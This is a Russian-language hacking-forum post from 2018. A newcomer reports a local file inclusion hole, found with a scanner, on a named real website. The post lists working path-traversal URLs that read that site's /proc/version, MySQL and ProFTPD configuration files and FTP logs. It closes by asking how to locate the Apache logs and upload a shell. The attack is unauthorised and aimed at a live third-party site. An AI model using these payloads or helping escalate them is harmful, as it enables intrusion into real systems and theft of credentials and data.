14.02.2018, 14:51
|
|
Новичок
Регистрация: 30.06.2013
Сообщений: 12
С нами:
6773366
Репутация:
0
|
|
Итак, есть сайт enature.net, он не очень хороший и вообще сами можете тематику посмотреть. Весьма легальный, работает с 95-го года.
Нашел LFI через сканер (netsparker), до этого дел с PHP-include не имел, выглядит примерно так:
Код:
https://www.enature.net/nudist_gallery/full_image/?param=/../../../../../../../../../../proc/version
Что нашел:
- конфиг мускула
Код:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../etc/mysql/my.cnf
- конфиг фтп
Код:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../etc/protpd/proftpd.conf
- логи фтп (не нашел подключения)
Код:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../var/log/xferlog
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../var/log/cdninvalidate.log
Что не могу найти:
- логи апача
- способ залиться |
|
|